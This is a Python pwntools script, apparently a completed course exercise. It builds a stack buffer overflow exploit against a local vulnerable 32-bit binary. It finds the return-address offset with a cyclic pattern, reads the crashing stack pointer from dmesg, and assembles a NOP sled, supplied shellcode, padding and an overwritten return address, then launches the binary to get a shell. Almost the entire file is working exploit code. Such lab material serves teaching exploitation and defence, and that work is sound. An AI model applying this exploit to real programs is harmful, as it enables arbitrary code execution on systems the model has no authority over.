from pwn import *
from shellcode import get_shellcode
SLED_SIZE = 128
CYCLIC_LEN = 272

pwnlib.term.term_mode= False

# =============================================
# ========= write your code below  ============
# =============================================

''' returns the payload for the attack 
    given the path to the vulnerable binary
    and the shellcode from get_shellcode in shellcode.py
    (string, bytes) -> bytes
'''    
def craft_payload(path_to_vuln_prgm, shellcode):

    e = ELF(path_to_vuln_prgm)
    payload = cyclic(CYCLIC_LEN) 
    p = process([path_to_vuln_prgm, payload])
    p.wait_for_close()
    debug_info = process('dmesg | grep "vuln" | tail -n 1', stdout=subprocess.PIPE, shell=True).recvall()
    eip =  int(re.search(b'at\ (.*)\ ip', debug_info).group(1), 16)
    x = cyclic_find(p32(eip))
    sp = int(re.search(b'sp\ (.*)\ error', debug_info).group(1), 16)
    buf_address = sp - (x + 4)
    padding_size = x - (SLED_SIZE + len(shellcode))
    buf_address += int(SLED_SIZE/2)
    payload = b'\x90'*SLED_SIZE + shellcode + b'a'*padding_size + buf_address.to_bytes(4, "little")
    return payload

# =============================================
# ===== do not modify the code below ==========
# =============================================

def execute_interactive(path_to_vuln_prgm, payload):
    p = process([path_to_vuln_prgm, payload])
    p.interactive()
    
def execute_non_interactive(path_to_vuln_prgm, payload):
    p = process([path_to_vuln_prgm, payload])
    sys.stdout.buffer.write(p.recvall())

def run(path_to_vuln_prgm):
    interactive, shellcode = get_shellcode()
    payload = craft_payload(path_to_vuln_prgm, shellcode)
    if interactive:
       execute_interactive(path_to_vuln_prgm, payload)
    else:
       execute_non_interactive(path_to_vuln_prgm, payload)
    
if __name__ == "__main__":
   import os, sys, getopt
   def usage():
        print('Usage:    ' + os.path.basename(__file__) + ' path_to_vuln_prgm')
        sys.exit(2)
   try:
      opts, args = getopt.getopt(sys.argv[1:],"h",["help"])
   except getopt.GetoptError as err:
      print(err)
      usage()
   # extract parameters
   path_to_vuln_prgm = args[0] if len(args) > 0 else None
   for opt, arg in opts:
        if opt in ("-h", "--help"):
           usage()
   # check arguments
   if (path_to_vuln_prgm is None):
       print('path_to_vuln_prgm is missing\n')
       usage()
   # run the command
   run(path_to_vuln_prgm)
